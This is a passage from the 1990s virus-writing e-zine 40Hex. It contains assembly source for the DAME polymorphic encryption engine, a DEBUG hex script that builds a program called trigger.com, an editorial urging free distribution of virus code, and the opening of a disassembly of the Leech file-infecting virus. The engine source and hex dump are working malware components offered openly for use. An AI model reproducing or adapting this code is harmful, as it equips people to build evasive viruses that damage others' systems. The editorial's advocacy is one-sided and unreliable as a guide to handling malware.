not_max_nest: push bx call [bx+si] pop bx pop si pop dx pop ax ret garble_tworeg: mov si,offset tworegtable and dx,7 jmp short handle_jmp_table_nogarble garble_onereg: mov si,offset oneregtable jmp short handle_jmp_table_nogarble garble_onebyte: xchg ax,dx and al,7 mov bx,offset onebytetable xlat stosb ret garble_jmpcond: xchg ax,dx and ax,0f or al,70 stosw ret _push: or al,al js _push_mem add al,50 stosb ret _push_mem: add ax,0ff30 jmp short go_mod_xxx_rm1 _pop: or al,al js _pop_mem add al,58 stosb ret _pop_mem: mov ah,8f go_mod_xxx_rm1: jmp mod_xxx_rm mov_reg_xxxx: mov si,offset mov_reg_xxxx_table go_handle_jmp_table1: jmp short handle_jmp_table _mov_reg_xxxx_mov_add: call get_rand_bx push bx sub dx,bx call mov_reg_xxxx pop dx jmp short go_add_reg_xxxx _mov_reg_xxxx_mov_al_ah: cmp al,_sp jae _mov_reg_xxxx push ax push dx call _mov_al_xx pop dx pop ax xchg dh,dl jmp short _mov_ah_xx _mov_reg_xxxx_mov_xor: call get_rand_bx push bx xor dx,bx call mov_reg_xxxx pop dx jmp xor_reg_xxxx _mov_reg_xxxx_xor_add: push dx mov dx,ax call xor_reg_reg pop dx go_add_reg_xxxx: jmp add_reg_xxxx _mov_reg_xxxx_mov_rol: ror dx,1 call mov_reg_xxxx jmp short _rol _mov_reg_xxxx_mov_ror: rol dx,1 call mov_reg_xxxx _ror: or al,8 _rol: mov ah,0d1 jmp mod_xxx_rm _mov_reg_xxxx: add al,0B8 stosb xchg ax,dx stosw ret mov_ah_xx: _mov_ah_xx: add al,04 mov_al_xx: _mov_al_xx: add al,0B0 mov ah,dl stosw ret mov_reg_reg: mov si,offset mov_reg_reg_table jmp short go_handle_jmp_table1 _mov_reg_reg_push_pop: push ax xchg dx,ax ; al = reg2 call _push ; push reg2 pop ax ; al = reg1 jmp _pop ; pop reg1 _mov_reg_reg: mov ah,08Bh jmp short _mod_reg_rm_direction mov_xchg_reg_reg: call one_in_two js mov_reg_reg xchg_reg_reg: mov si,offset xchg_reg_reg_table jmp handle_jmp_table _xchg_reg_reg_push_pop: push dx ; save reg2 push ax ; save reg1 push dx call _push ; push reg1 pop ax call _push ; push reg2 pop ax call _pop ; pop reg1 pop ax jmp _pop ; pop reg2 _xchg_reg_reg_3rd_reg: call free_regs jne _xchg_reg_reg push dx ; save reg2 push ax ; save reg1 call get_another call mov_xchg_reg_reg ; mov/xchg reg3, reg2 pop dx ; get reg1 call xchg_reg_reg ; xchg reg3, reg1 pop dx ; get reg2 xchg ax,dx ; ax=reg2, dx=reg3 call mov_xchg_reg_reg ; mov/xchg reg2, reg3 jmp clear_reg_dx _xchg_reg_reg: or al,al js __xchg_reg_reg cmp al,dl jg _xchg_reg_reg_skip xchg al,dl _xchg_reg_reg_skip: or dl,dl jz _xchg_ax_reg __xchg_reg_reg: xchg al,dl mov ah,87 jmp short _mod_reg_rm _xchg_ax_reg: add al,90 stosb ret xor_reg_xxxx_xor_xor: call get_rand_bx push bx xor dx,bx call xor_reg_xxxx pop dx jmp short xor_reg_xxxx xor_reg_xxxx: mov si,offset xor_reg_xxxx_table jmp handle_jmp_table _xor_reg_xxxx: or al,030 jmp _81h_ xor_reg_reg: mov si,offset xor_reg_reg_table jmp handle_jmp_table _xor_reg_reg: mov ah,33 _mod_reg_rm_direction: or al,al js dodirection or dl,dl js _mod_reg_rm call one_in_two js _mod_reg_rm dodirection: xchg al,dl sub ah,2 _mod_reg_rm: shl al,1 shl al,1 shl al,1 or al,dl mod_xxx_rm: or al,al js no_no_reg or al,0c0 no_no_reg: xchg ah,al test ah,40 jnz exit_mod_reg_rm test cl,1 jnz continue_mod_xxx_rm push ax mov al,2e stosb pop ax continue_mod_xxx_rm: stosw mov si,cs:[bp] ; need cs: overrides on bp add si,si mov cs:[si+bp+2],di inc word ptr cs:[bp] mov al,_relocate_amt cbw exit_mod_reg_rm: stosw ret add_reg_reg: mov si,offset add_reg_reg_table jmp handle_jmp_table _add_reg_reg: mov ah,3 jmp short _mod_reg_rm_direction sub_reg_reg: mov si,offset sub_reg_reg_table jmp handle_jmp_table _sub_reg_reg: mov ah,2bh jmp short _mod_reg_rm_direction _add_reg_xxxx_inc_add: call inc_reg dec dx jmp short add_reg_xxxx _add_reg_xxxx_dec_add: call dec_reg inc dx jmp short add_reg_xxxx _add_reg_xxxx_add_add: call get_rand_bx push bx sub dx,bx call add_reg_xxxx pop dx jmp short add_reg_xxxx add_reg_xxxx1: neg dx add_reg_xxxx: or dx,dx jnz cont return1: ret cont: mov si,offset add_reg_xxxx_table jmp handle_jmp_table _add_reg_xxxx: or al,al jz _add_ax_xxxx _81h_: or al,al js __81h add al,0c0 __81h: mov ah,81 call mod_xxx_rm _encode_dx_: xchg ax,dx stosw ret _add_ax_xxxx: mov al,5 _encode_al_dx_: stosb jmp short _encode_dx_ sub_reg_xxxx1: neg dx sub_reg_xxxx: _sub_reg_xxxx: or dx,dx jz return1 or al,al jz _sub_ax_xxxx add al,028 jmp short _81h_ _sub_ax_xxxx: mov al,2dh jmp short _encode_al_dx_ dec_reg: push ax add al,8 jmp short _dec_inc_reg inc_reg: push ax _dec_inc_reg: or al,al jns _norm_inc mov ah,0ff call mod_xxx_rm pop ax ret _norm_inc: add al,40 stosb pop ax ret _mov_reg_reg_3rd_reg: mov bx,offset mov_reg_reg mov si,offset mov_xchg_reg_reg jmp short reg_to_reg xor_reg_reg_reg_reg: mov bx,offset _xor_reg_reg jmp short reg_to_reg1 add_reg_reg_reg_reg: mov bx,offset _add_reg_reg jmp short reg_to_reg1 sub_reg_reg_reg_reg: mov bx,offset _sub_reg_reg reg_to_reg1: mov si,bx reg_to_reg: call free_regs jne no_free_regs push ax push si call get_another call mov_reg_reg ; mov reg3, reg2 pop si pop dx ; ax=reg3, dx=reg1 xchg ax,dx ; ax=reg1, dx=reg3 push dx call si pop dx go_clear_reg_dx: jmp clear_reg_dx _xor_reg_xxxx_reg_reg: mov bx,offset xor_reg_xxxx mov si,offset xor_reg_reg xxxx_to_reg: call free_regs jne no_free_regs push ax push si call get_another call mov_reg_xxxx xchg ax,dx pop si pop ax push dx call si pop dx jmp short go_clear_reg_dx no_free_regs: jmp bx _add_reg_xxxx_reg_reg: mov bx,offset add_reg_xxxx mov si,offset add_reg_reg jmp short xxxx_to_reg _mov_reg_xxxx_reg_reg: mov bx,offset mov_reg_xxxx mov si,offset mov_xchg_reg_reg jmp short xxxx_to_reg garbletable: db garbletableend - $ - 3 dw offset return dw offset return dw offset garble_tworeg dw offset garble_tworeg dw offset garble_onereg dw offset garble_onereg dw offset garble_onebyte dw offset garble_jmpcond garbletableend: onebytetable: clc cmc stc cld std sti int 3 lock oneregtable: db oneregtableend - $ - 3 dw offset xor_reg_xxxx dw offset mov_reg_xxxx dw offset sub_reg_xxxx dw offset add_reg_xxxx dw offset dec_reg dw offset inc_reg dw offset _ror dw offset _rol oneregtableend: oneregtable1: db oneregtable1end - $ - 3 dw offset xor_reg_xxxx dw offset sub_reg_xxxx dw offset add_reg_xxxx dw offset add_reg_xxxx dw offset dec_reg dw offset inc_reg dw offset _ror dw offset _rol oneregtable1end: oneregtable2: db oneregtable2end - $ - 3 dw offset xor_reg_xxxx dw offset add_reg_xxxx dw offset sub_reg_xxxx dw offset sub_reg_xxxx dw offset inc_reg dw offset dec_reg dw offset _rol dw offset _ror oneregtable2end: tworegtable: db tworegtableend - $ - 3 dw offset xor_reg_reg dw offset mov_reg_reg dw offset sub_reg_reg dw offset add_reg_reg tworegtableend: tworegtable1: db tworegtable1end - $ - 3 dw offset xor_reg_reg dw offset xor_reg_reg dw offset sub_reg_reg dw offset add_reg_reg tworegtable1end: tworegtable2: db tworegtable2end - $ - 3 dw offset xor_reg_reg dw offset xor_reg_reg dw offset add_reg_reg dw offset sub_reg_reg tworegtable2end: mov_reg_xxxx_table: db mov_reg_xxxx_table_end - $ - 3 dw offset _mov_reg_xxxx dw offset _mov_reg_xxxx_reg_reg dw offset _mov_reg_xxxx_mov_add dw offset _mov_reg_xxxx_mov_al_ah dw offset _mov_reg_xxxx_mov_xor dw offset _mov_reg_xxxx_xor_add dw offset _mov_reg_xxxx_mov_rol dw offset _mov_reg_xxxx_mov_ror mov_reg_xxxx_table_end: mov_reg_reg_table: db mov_reg_reg_table_end - $ - 3 dw offset _mov_reg_reg dw offset _mov_reg_reg dw offset _mov_reg_reg_3rd_reg dw offset _mov_reg_reg_push_pop mov_reg_reg_table_end: xchg_reg_reg_table: db xchg_reg_reg_table_end - $ - 3 dw offset _xchg_reg_reg dw offset _xchg_reg_reg dw offset _xchg_reg_reg_push_pop dw offset _xchg_reg_reg_3rd_reg xchg_reg_reg_table_end: xor_reg_xxxx_table: db xor_reg_xxxx_table_end - $ - 3 dw offset _xor_reg_xxxx dw offset _xor_reg_xxxx dw offset _xor_reg_xxxx_reg_reg dw offset xor_reg_xxxx_xor_xor xor_reg_xxxx_table_end: xor_reg_reg_table: db xor_reg_reg_table_end - $ - 3 dw offset _xor_reg_reg dw offset xor_reg_reg_reg_reg xor_reg_reg_table_end: add_reg_reg_table: db add_reg_reg_table_end - $ - 3 dw offset _add_reg_reg dw offset add_reg_reg_reg_reg add_reg_reg_table_end: sub_reg_reg_table: db sub_reg_reg_table_end - $ - 3 dw offset _sub_reg_reg dw offset sub_reg_reg_reg_reg sub_reg_reg_table_end: add_reg_xxxx_table: db add_reg_xxxx_table_end - $ - 3 dw offset _add_reg_xxxx dw offset _add_reg_xxxx dw offset _add_reg_xxxx_reg_reg dw offset sub_reg_xxxx1 dw offset _add_reg_xxxx_inc_add dw offset _add_reg_xxxx_dec_add dw offset _add_reg_xxxx_add_add dw offset _add_reg_xxxx_add_add add_reg_xxxx_table_end: endif if vars eq 0 else _nest db ? ; needed to prevent infinite recursion _relocate_amt db ? _loopstartencrypt dw ? _loopstartdecrypt dw ? _encryptpointer dw ? _decryptpointer dw ? _decryptpointer2 dw ? _start_encrypt dw ? _start_decrypt dw ? _used_regs db 8 dup (?) ; 0 = unused beginclear1: _encrypt_relocate_num dw ? _encrypt_relocator dw 8 dup (?) _decrypt_relocate_num dw ? _decrypt_relocator dw 10 dup (?) endclear1: _encrypt_length dw ? ; based upon alignment _counter_value dw ? ; _counter_reg _pointer_value dw ? _decrypt_value dw ? _dummy_reg db ? _counter_reg db ? _pointer_reg db ? ; 4 = not in use _encrypt_reg db ? endif -end dame.asm-------begin trigger.scr------------------------------------------ n trigger.com e 0100 E8 6E 00 00 54 72 69 67 67 65 72 20 62 79 20 44 e 0110 61 72 6B 20 41 6E 67 65 6C 20 6F 66 20 50 68 61 e 0120 6C 63 6F 6E 2F 53 6B 69 73 6D 0D 0A 55 74 69 6C e 0130 69 73 69 6E 67 20 44 61 72 6B 20 41 6E 67 65 6C e 0140 27 73 20 4D 75 6C 74 69 70 6C 65 20 45 6E 63 72 e 0150 79 70 74 6F 72 20 28 44 41 4D 45 29 0D 0A 0D 0A e 0160 00 72 FA 0E 1F BA 00 B8 B8 40 00 8E C0 26 81 3E e 0170 63 FC 5D B8 F0 0C BB 41 44 CD 21 81 FB 48 47 75 e 0180 3C 1E 06 0E 1F 33 C0 8D 76 5E 8E C0 33 FF B9 08 e 0190 00 F3 A7 74 08 40 3D 00 A0 72 EC EB 1C 89 86 AE e 01A0 00 8E D8 C6 06 73 00 CB 55 BD 80 FF EB 00 9A 01 e 01B0 00 00 00 5D C6 06 73 00 1F 07 1F EB 7F B8 90 4B e 01C0 CD 21 3B C3 74 76 1E 06 8C D8 48 8E D8 81 2E 03 e 01D0 00 80 01 81 2E 12 00 80 01 8E 06 12 00 0E 1F 33 e 01E0 FF 8D 76 FD B9 D1 04 F3 A5 33 C0 8E D8 83 2E 13 e 01F0 04 06 BF 1F 02 BE 84 00 A5 A5 FA 9C 9C 58 80 CC e 0200 01 50 8C 06 06 00 C7 06 04 00 7F 01 9D B4 30 9C e 0210 FF 1E 84 00 9D 26 C5 36 1F 02 8B FE AD 26 A3 F0 e 0220 01 AD 26 A3 F5 01 AC 26 A2 FA 01 1E 06 1F 07 B0 e 0230 EA AA B8 E2 01 AB 8C D8 AB FB 07 1F 83 FC FE 75 e 0240 0B 8D B6 64 01 BF 00 01 57 A5 A5 C3 8C D8 05 10 e 0250 00 2E 01 86 7A 01 2E 03 86 72 01 8E D0 2E 8B A6 e 0260 74 01 2E FF AE 78 01 CD 20 00 00 00 00 00 00 00 e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 e 0280 8B EC 50 8B 46 04 2E 3B 06 21 02 73 0B 2E A3 21 e 0290 02 8B 46 02 2E A3 1F 02 58 5D CF 55 8B EC 50 8C e 02A0 C8 3B 46 04 74 F2 8B 46 04 2E 3B 06 21 02 75 14 e 02B0 8B 46 02 2E 3B 06 1F 02 72 0A 2D 05 00 2E 3B 06 e 02C0 1F 02 76 D4 06 57 FC 2E C4 3E 1F 02 B0 EA AA B8 e 02D0 E2 01 AB 8C C8 AB 5F 07 81 66 06 FF FE EB B9 8B e 02E0 D8 CF 3D 90 4B 74 F8 1E 57 2E C5 3E 1F 02 C7 05 e 02F0 34 12 C7 45 02 34 12 C6 45 04 12 5F 1F FC 3D 00 e 0300 4B 74 48 1E 50 33 C0 8E D8 FA C7 06 04 00 9B 01 e 0310 8C 0E 06 00 FB 9C 58 80 CC 01 50 9D 58 1F EA 00 e 0320 00 00 00 9C 2E FF 1E 1F 02 C3 5A 59 B8 01 57 E8 e 0330 F1 FF B4 3E E8 EC FF B8 01 43 5A 1F 59 E8 E3 FF e 0340 07 1F 5F 5E 5D 5B 5A 59 58 EB B8 50 51 52 53 55 e 0350 56 57 1E 06 B8 00 43 E8 C9 FF 51 1E 52 B8 01 43 e 0360 33 C9 E8 BE FF B8 02 3D E8 B8 FF 72 CA 93 B8 00 e 0370 57 CD 21 51 52 B4 3F B9 18 00 0E 1F 0E 07 BA 67 e 0380 01 8B F2 E8 9D FF 72 A2 BF F9 09 B9 0C 00 56 57 e 0390 F3 A5 5F 5E B8 02 42 33 C9 99 CD 21 81 3D 4D 5A e 03A0 75 2E 81 3E 77 01 53 50 74 80 A3 FD 09 89 16 FB e 03B0 09 B9 10 00 F7 F1 2B 06 01 0A 89 16 0D 0A A3 0F e 03C0 0A 87 CA A3 07 0A C7 06 09 0A 53 50 B0 02 EB 34 e 03D0 50 B9 04 00 33 D2 AC 02 D0 E2 FB 58 0A D2 74 C8 e 03E0 BA 18 00 3B C2 73 07 B8 00 42 33 C9 CD 21 8B C8 e 03F0 FE C5 2D 03 00 50 B0 E9 AA 58 AB 02 C4 04 E9 F6 e 0400 D8 AA B0 03 98 53 87 CB 33 F6 BF 11 0C B9 D1 04 e 0410 F3 A5 50 E8 67 00 58 BA 11 0C B9 A1 09 BE 91 0A e 0420 BF 11 0A E8 A2 00 51 81 3E F9 09 4D 5A 75 21 8B e 0430 16 FB 09 A1 FD 09 81 C1 A1 09 03 C1 83 D2 00 B9 e 0440 00 02 F7 F1 0B D2 74 01 40 A3 FD 09 89 16 FB 09 e 0450 FF D7 59 5B B4 40 BA 91 0A E8 C7 FE B4 40 B9 A1 e 0460 09 BA 11 0C E8 BC FE B8 00 42 33 C9 99 CD 21 B4 e 0470 40 B9 18 00 BA F9 09 E8 A9 FE E9 AD FE 52 51 53 e 0480 B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0 EB 1C e 0490 52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00 D1 E0 e 04A0 D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 96 03 89 e 04B0 16 99 03 8A C2 5B 59 5A C3 87 00 86 84 85 03 07 e 04C0 0F 1F 5F 5E 5A 59 5B 58 FC 50 53 51 52 56 57 E8 e 04D0 07 00 5F 5E 5A 5B 5B 58 C3 FC 50 B8 A7 09 97 AB e 04E0 96 AB AB 92 AB 93 AB 87 CA E8 44 02 B9 1A 00 F3 e 04F0 AB E8 9C FF 25 FC FF 59 33 C8 E8 75 02 83 E3 03 e 0500 8A 87 BE 03 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8 e 0510 F6 C5 40 74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 92 e 0520 F6 C5 20 75 02 F7 D8 AB E8 65 FF AB B8 84 84 AA e 0530 57 AB AA 5F E8 33 02 78 0B E8 00 02 AA E8 50 FF e 0540 A3 F1 09 4F 47 EB 03 E8 07 02 E8 EF 01 3C 03 72 e 0550 F6 AA E8 15 02 78 04 E8 E2 01 AA E8 D2 01 8B 3E e 0560 A9 09 E8 16 02 BE F5 09 56 E8 06 02 83 E3 03 8A e 0570 00 98 A8 80 75 F3 80 8F F5 09 80 8B F0 FE 84 B1 e 0580 09 03 DB 8B 97 ED 09 C6 06 A1 09 00 E8 6F 02 E8 e 0590 E9 01 E8 06 01 51 80 E1 FC E8 AC 02 59 89 3E A7 e 05A0 09 5E BA 04 00 AC A8 80 74 B4 4A 75 F8 BE A7 09 e 05B0 BF A3 09 A5 A5 C6 06 A2 09 00 E8 65 00 F6 C5 40 e 05C0 74 08 C6 06 A2 09 02 E8 58 00 BB A3 09 51 80 E1 e 05D0 FC E8 58 00 59 B8 FC C3 AB BE BB 09 8B 3E AD 09 e 05E0 51 E8 19 00 59 BB A5 09 E8 41 00 E8 8A 01 89 3E e 05F0 A9 09 BE CD 09 2B 3E AB 09 03 3E AF 09 F6 C5 20 e 0600 74 04 03 3E ED 09 2B 3E F1 09 8B 4C FE E3 08 97 e 0610 97 AD 97 01 05 E2 F9 8B 3E A9 09 8B CF 2B 0E AB e 0620 09 C3 E8 84 00 E8 DA 00 E8 7E 00 C3 8B 7F 04 53 e 0630 C6 06 A1 09 00 A0 F7 09 25 07 00 BA 02 00 F6 C5 e 0640 40 74 02 D1 E2 F6 C5 20 74 02 F7 DA E8 F9 02 B2 e 0650 75 A0 F6 09 25 07 00 3C 04 74 26 52 BA 01 00 F6 e 0660 C5 10 74 19 3C 01 75 13 E8 FF 00 78 0E 5A E8 01 e 0670 01 87 DA 80 E2 02 80 CA E0 EB 06 F7 DA E8 C8 02 e 0680 5A 5B 8B 07 2B C7 48 48 86 E0 8A C2 F6 C4 80 75 e 0690 05 58 58 E9 2C FE AB 89 7F 04 C3 C6 06 A1 09 0A e 06A0 89 3E A9 09 8B 3E A7 09 C3 8B 3E A9 09 E8 CB 00 e 06B0 A0 F8 09 25 07 00 3C 04 74 E1 E8 B5 00 80 FB C0 e 06C0 77 D9 E8 13 00 E8 DB 00 E8 D0 FF 51 80 E1 FC FF e 06D0 50 01 59 89 3E A7 09 C3 C6 06 A1 09 00 E8 8A 00 e 06E0 78 08 E8 8D 00 BE 07 09 EB 15 E8 85 00 83 E3 07 e 06F0 80 FB 04 74 F5 80 BF B1 09 00 74 EE BE 3A 09 87 e 0700 D3 C3 8B 3E A9 09 E8 72 00 A0 F7 09 25 07 00 BB e 0710 B6 03 D7 BD CB 09 E8 BF FF E8 0B 00 E8 84 00 BD e 0720 B9 09 E8 02 00 EB A1 50 AC 98 03 F0 58 46 46 C3 e 0730 33 C0 BF B1 09 AB AB 40 AB 48 AB C3 E8 51 FD 25 e 0740 07 00 8B F0 80 BC B1 09 00 75 F1 FE 84 B1 09 C3 e 0750 92 8B F0 C6 84 B1 09 00 C3 50 51 57 BF B1 09 B9 e 0760 08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 22 FD 0B C0 e 0770 58 C3 93 E8 1A FD 93 C3 E8 00 00 C6 06 A1 09 00 e 0780 E8 00 00 E8 D3 FF 75 EF F6 C1 02 74 EA 50 52 E8 e 0790 FE FC 92 E8 A6 FF E8 B8 FF BE EE 08 EB 07 56 E8 e 07A0 E1 FF 5E 50 52 56 51 91 AC 98 91 E8 C4 FF 23 D9 e 07B0 59 FE 06 A1 09 80 3E A1 09 0A 72 02 33 DB 53 FF e 07C0 10 5B 5E 5A 58 C3 BE 3A 09 83 E2 07 EB D5 BE 07 e 07D0 09 EB D0 92 24 07 BB FF 08 D7 AA C3 92 25 0F 00 e 07E0 0C 70 AB C3 0A C0 78 04 04 50 AA C3 05 30 FF EB e 07F0 0A 0A C0 78 04 04 58 AA C3 B4 8F E9 F0 00 BE 55 e 0800 09 EB 9B E8 6C FF 53 2B D3 E8 F2 FF 5A EB 23 3C e 0810 04 73 35 50 52 E8 38 00 5A 58 86 F2 EB 30 E8 51 e 0820 FF 53 33 D3 E8 D7 FF 5A E9 96 00 52 8B D0 E8 9B e 0830 00 5A E9 13 01 D1 CA E8 C4 FF EB 07 D1 C2 E8 BD e 0840 FF 0C 08 B4 D1 E9 A6 00 04 B8 AA 92 AB C3 04 04 e 0850 04 B0 8A E2 AB C3 BE 66 09 EB A6 50 92 E8 84 FF e 0860 58 EB 8E B4 8B EB 6D E8 00 FF 78 EA BE 6F 09 E9 e 0870 2C FF 52 50 52 E8 6C FF 58 E8 68 FF 58 E8 71 FF e 0880 58 E9 6D FF E8 D2 FE 75 14 52 50 E8 AE FE E8 D6 e 0890 FF 5A E8 D7 FF 5A 92 E8 CD FF E9 B3 FE 0A C0 78 e 08A0 0A 3A C2 7F 02 86 C2 0A D2 74 06 86 C2 B4 87 EB e 08B0 35 04 90 AA C3 E8 BA FE 53 33 D3 E8 03 00 5A EB e 08C0 00 BE 78 09 E9 D7 FE 0C 30 E9 8B 00 BE 81 09 E9 e 08D0 CC FE B4 33 0A C0 78 09 0A D2 78 0A E8 8B FE 78 e 08E0 05 86 C2 80 EC 02 D0 E0 D0 E0 D0 E0 0A C2 0A C0 e 08F0 78 02 0C C0 86 E0 F6 C4 40 75 1D F6 C1 01 75 05 e 0900 50 B0 2E AA 58 AB 2E 8B 76 00 03 F6 2E 89 7A 02 e 0910 2E FF 46 00 A0 A2 09 98 AB C3 BE 86 09 E9 7E FE e 0920 B4 03 EB B0 BE 8B 09 E9 74 FE B4 2B EB A6 E8 50 e 0930 00 4A EB 14 E8 45 00 42 EB 0E E8 35 FE 53 2B D3 e 0940 E8 05 00 5A EB 02 F7 DA 0B D2 75 01 C3 BE 90 09 e 0950 E9 4B FE 0A C0 74 0E 0A C0 78 02 04 C0 B4 81 E8 e 0960 8C FF 92 AB C3 B0 05 AA EB F8 F7 DA 0B D2 74 DC e 0970 0A C0 74 04 04 28 EB DF B0 2D EB EB 50 04 08 EB e 0980 01 50 0A C0 79 07 B4 FF E8 63 FF 58 C3 04 40 AA e 0990 58 C3 BB 56 07 BE 67 07 EB 0F BB D2 07 EB 08 BB e 09A0 20 08 EB 03 BB 2A 08 8B F3 E8 AD FD 75 2E 50 56 e 09B0 E8 89 FD E8 A0 FE 5E 5A 92 52 FF D6 5A E9 90 FD e 09C0 BB C1 07 BE CC 07 E8 90 FD 75 11 50 56 E8 6C FD e 09D0 E8 2B FE 92 5E 58 52 FF D6 5A EB E1 FF E3 BB 48 e 09E0 08 BE 1A 08 EB E0 BB FE 06 BE 67 07 EB D8 0E 77 e 09F0 06 77 06 C6 06 C6 06 CE 06 CE 06 D3 06 DC 06 F8 e 0A00 F5 F9 FC FD FB CC F0 0E C1 07 FE 06 6C 08 48 08 e 0A10 7C 08 81 08 41 07 43 07 0E C1 07 6C 08 48 08 48 e 0A20 08 7C 08 81 08 41 07 43 07 0E C1 07 48 08 6C 08 e 0A30 6C 08 81 08 7C 08 43 07 41 07 06 CC 07 56 07 24 e 0A40 08 1A 08 06 CC 07 CC 07 24 08 1A 08 06 CC 07 CC e 0A50 07 1A 08 24 08 0E 48 07 E6 08 03 07 0F 07 1E 07 e 0A60 2B 07 35 07 3C 07 06 63 07 63 07 92 08 5B 07 06 e 0A70 9D 07 9D 07 72 07 84 07 06 C7 07 C7 07 C0 08 B5 e 0A80 07 02 D2 07 9A 08 02 20 08 9F 08 02 2A 08 A4 08 e 0A90 0E 53 08 53 08 DE 08 6A 08 2E 08 34 08 3A 08 3A e 0AA0 08 rcx 09A1 w q -end trigger.scr--------------------------------------------------------------- 40Hex Issue 11 Volume 3 Number 2 File 004 40-Hex Editorial Virus Censorship by DecimatoR Recently in the comp.virus echo of Usenet there was a discussion entitled "40 Hex Censorship". A few people were complaining about this magazine being censored by the anti-virus community, and on Internet itself. I found this thread interesting, and figured I'd voice my opinions on it here, where it counts. As many of you know, 40-Hex is one of the most popular underground mags. I was actually told by a European Anti-Virus researcher that 40-Hex was regarded as the best VX magazine in existance by most of the anti-virus community. Of course, I was quite happy to hear this. (Who wouldn't be?) But I also couldn't help wondering, how could a magazine like 40-Hex, with no real distribution system, be the most popular? It got me thinking, and I realized that we provide, in great detail, some of the most recent news, and developments in the virus community. Anyone can publish source code and hex dumps, but we take it a bit further. 40-Hex is more than just a how-to magazine, it's a publication which delves into details, world wide developments, and never-before distributed source code with new and interesting programming techniques. It's more than a source of viruses; it's a source of _information_. This also got me thinking, about the actual distribution system of 40-Hex. Each issue is distributed on two, and ONLY two bulletin boards - Digital Warfare and Liquid Euphoria. From there, it is passed rapidly across the country, and, soon after, around the world. Unfortunately, 40-Hex never seems to make it to a LARGE portion of the population who want it - the folks who hang out on in the comp.virus echo of Usenet. A few issues back, I posted a note there, asking for input on a survey I was conducting. Over half of the replies I received didn't even answer my questions - all the folks wanted to know was WHERE could they get their hands on 40-Hex? After a little digging, I found 2 sites which allowed 40-Hex to be posted for anonymous FTP. Within a month, both sites had removed the magazine. Censorship? You bet. See, the anti-virus folks on Usenet feel that this magazine is BAD. After all, we publish source code which any virus author can learn by. We encourage people to learn new programming techniques. We tell the truth about how viruses work, and we're not afraid to give people code which shows HOW viruses do what they do, so that anyone who wishes to write a virus has the KNOWLEDGE to do so. But does this make us bad? Let's look at it again, in a slightly different perspective: We publish source code which any anti-virus author can learn by. We encourage people to learn new programming techniques. We tell the truth about how viruses work, and we're not afraid to give people code which shows HOW viruses do what they do, so that anyone who wishes to write anti-virus software has the KNOWLEDGE to do so. Hmmm... now do we seem so bad? With the addition of a few "anti"s in that last paragraph, we turned 40-Hex around - from a bad underground magazine to a beneficial wealth of information. Interesting, eh? This seems to be where the Vesselin Bontchev's of the world have a serious problem seeing the forest, because of the trees. Bontchev has often proclaimed, quite loudly, and in no uncertain terms, that virus code should NEVER, NEVER, NEVER, UNDER _ANY_ CIRCUMSTANCES, BE DISTRIBUTED TO ANYONE! Anyone, that is, except an anti-virus researcher like himself. Double standard? Yes. A typical scenario on the newsgroup reads like this: Joe Unknown: Hi, I'm interested in writing an anti-virus package, and need to obtain viruses which I can experiment and work with. Where can I find them? Joe Established-AV-Person: You can't. I don't know you, and no one else does either. Therefore, you cannot be trusted, and you may not recieve virus code. You should be ashamed for asking! You probably just want to learn to write viruses so you can wreak havoc on all computers everywhere! Hmmmph! Yes, folks, it IS this bad. The anti-virus guys talk of "ethical standards" which say that they just can't give out virus code, except to other established AV people. Ethical standards? DOUBLE STANDARDS!!! What would happen, if they DID give their viruses to "unknown" people who wanted them? Would massive virus infections result? Maybe. Would new anti-virus software packages be created? Probably. But will the AV guys give anyone a chance? Hardly. It's this attitude which upsets a lot of people. And one of them was upset enough to finally ask WHY 40-Hex was so censored on the net. Of course, he got the "ethical standard" reply. But the true fact is - people WANT this (and any other) fine VX magazine! The Nuke Infojournals, ARCV newsletters, the Crypt newsletters... I've had people ask me time and time again WHERE they can find them on the Internet. And I've told them, time and time again, "You can't. Sorry." Most of you who read this mag are involved in either of 3 groups: The Virus underground, System Security, or Anti-Virus research. Where did YOU obtain your copy of 40-Hex? A BBS? A friend? A disk you found lying in the computer room? Probably a BBS. Certainly not Internet. The poor folks on Internet are missing out on a LOT of good information, all because a handful of self-appointed experts decided that CENSORSHIP was better than KNOWLEDGE. Of course, if I were to post this fact in comp.virus, my message would never get out. Why? Because the group is moderated by an individual who ranks right up there with the rest of the Censors. Any message even vaguely requesting a source for viruses is killed before it gets out. And certainly, any post containing source code, or a way to obtain viruses is nuked before it's ever seen by anyone. THE COMP.VIRUS ECHO IS ONE OF THE MOST HEAVILY CENSORED NEWSGROUPS ON USENET! Does this bother you? It certainly bothers me! INFORMATION IS POWER, FOLKS! Stupidity is NOT! Recently I had a long conversation with Alan Solomon, head of S & S International, publisher of Dr. Solomon's Anti-Virus Toolkit. It was a pleasant conversation, and Dr. Solly is a very nice person to talk to. Although we obviously don't see eye-to-eye on certain topics, we came to a general understanding - he does anti-virus work to help other people and to make a living. I run a virus board to pass on information and to fight censorship. I respect him for his ideals, and I believe he respects me for mine. Of course, he doesn't approve of what I do, but he respects my reasons for doing it. Was an interesting conversation, I'm glad we had it. Thanks, Alan - for everything. Censorship of viruses, virus code, and virus mags is quite strong. Those in the underground often don't realize how censored this material really is, or how lucky they are to be able to obtain it with a phone call. It really bugs me to think that people out there WANT the information contained inside this very issue, but are unable to get it because of the closed minds of a handful of "experts". Wake up people! This is the 90's! This is the INFORMATION AGE! Censorship doesn't HELP! It HARMS! Keeping people ignorant doesn't help them, it HURTS them! Knowledge is power! FREE INFORMATION IS WHAT CYBERSPACE IS BASED ON! Anything else is simply _wrong_. --Dec 40Hex Issue 11 Volume 3 Number 2 File 005 Virus Spotlight on: Leech This month's virus is a Bulgarian creation known as Leech. It is mildly polymorphic, implementing a simple code swapping algorithm. It infects on file executes and file closes. The infections upon file closes is especially noteworthy; look closely at the manipulation of the system file table (and see the related article in this issue of 40Hex for more details). This resident, COM-specific infector also hides file length increases, although the stupid CHKDSK error will occur. -- Dark Angel Phalcon/Skism ------------------------------------------------------------------------------- .model tiny .code org 0 ; Leech virus ; Disassembly by Dark Angel of Phalcon/Skism ; Assemble with Tasm /m Leech.asm virlength = (readbuffer - leech) reslength = (((encrypted_file - leech + 15) / 16) + 2) leech: jmp short enter_leech filesize dw offset carrier oldint21 dw 0, 0 oldint13 dw 0, 0 